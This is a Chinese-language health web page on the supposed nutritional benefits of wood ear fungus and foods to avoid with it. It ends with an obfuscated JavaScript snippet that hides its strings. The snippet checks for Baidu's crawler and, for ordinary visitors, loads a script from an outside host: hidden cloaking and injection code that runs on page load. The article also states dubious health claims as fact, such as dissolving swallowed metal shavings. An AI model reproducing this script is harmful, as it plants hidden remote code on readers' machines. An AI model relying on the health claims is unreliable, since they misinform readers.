当前位置:首页 > 饮食 > 食物营养 > 正文

木耳有哪些营养功效

2017-07-07 13:56:24  来源:360常识网   热度:
导语:木耳在我们日常生活中是非常常见的,因为木耳的口感和营养都非常好,所以一直以来深受很多人的喜欢,其实木耳的功效也是非常多的,它含有丰

木耳在我们日常生活中是非常常见的,因为木耳的口感和营养都非常好,所以一直以来深受很多人的喜欢,其实木耳的功效也是非常多的,它含有丰富的粗纤维和胶原物质,促进人体的免疫功能,同时还具有很强吸附作用,能够很好的排出体内的垃圾与废物,让我们的身体处于一个健康的状态。

1.黑木耳,又名木耳、木菌、树鸡,云耳质地柔软,口感细嫩,味道鲜美,风味特殊,是一种营养丰富的著名食用菌,有“食品阿司匹林” 之称。

2.黑木耳具有益气、润肺、补脑、轻身、凉血、止血、涩肠、活血、养颜等功效。

3.含有大量的碳水化合物、蛋白质、铁、钙、磷、胡萝卜素、维生素等营养物质。

4.含有丰富的植物胶原成分,它具有较强的吸附作用,对无意食下的难以消化的头发、谷壳、木渣、沙子、金属屑等异物也具有溶解与氧化作用。

5.常吃东北小木耳能起到清理消化道、清胃涤肠的作用。特别是对从事矿石开采、冶金、水泥制造、理发、面粉加工、棉纺毛纺等空气污染严重工种的工人,经常食用东北小木耳能起到良好的保健作用。

6.东北小木耳中含有丰富的纤维素和一种特殊的植物胶质,能促进胃肠蠕动,促使肠道脂肪食物的排泄,减少食物脂肪的吸收,从而起到减肥作用。

食用禁忌:

黑木耳有活轿抗凝的作用,有出血性疾病的人不宜食用。孕妇不宜多吃。木耳不宜与田螺同食,从食物药性来说,寒性的田螺,遇上滑利的木耳,不利于消化,所以二者不宜同食。患有痔疮者木耳与野鸡不宜同食,野鸡有小毒,二者同食易诱发痔疮出血。木耳不宜与野鸭同食,野鸭味甘性凉,同时易消化不良。

以上是我们关于木耳有哪些营养功效的详细介绍,我们在上文为大家列举了木耳的6大营养功效,可想而知,木耳的功效是非常多的,而且木耳一种老少皆宜的食物,所以我们建议各位朋友,平时应该要多吃木耳哦,让你们更加健康与美丽。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}